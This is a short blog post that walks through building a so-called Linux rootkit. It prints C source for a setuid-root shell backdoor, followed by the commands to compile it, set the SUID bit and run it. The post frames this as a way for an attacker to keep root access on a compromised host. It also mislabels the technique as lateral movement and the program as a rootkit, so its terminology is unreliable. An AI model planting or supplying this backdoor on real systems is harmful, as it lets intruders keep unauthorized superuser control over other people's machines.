Sitemap
November Rain

November Rain

A persistent of xchopath's brain-cache. https://novr.one | https://zerobyte.id .

Simple Rootkit for Linux Shell

Mar 30, 2023

--

Usually the Attacker will install a Rootkit because it is one of the ways for Lateral Movement to keep the highest access rights like superuser or root.

Get November Rain’s stories in your inbox

Join Medium for free to get updates from this writer.

Here is using a simple program made with C language.

Build

Make a file rootkit.c.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}

Compile rootkit.c.

gcc rootkit.c -o rootkit

Give SUID permission for compiled rootkit.

chmod +s rootkit

Call the Rootkit

./rootkit

Done!

--

--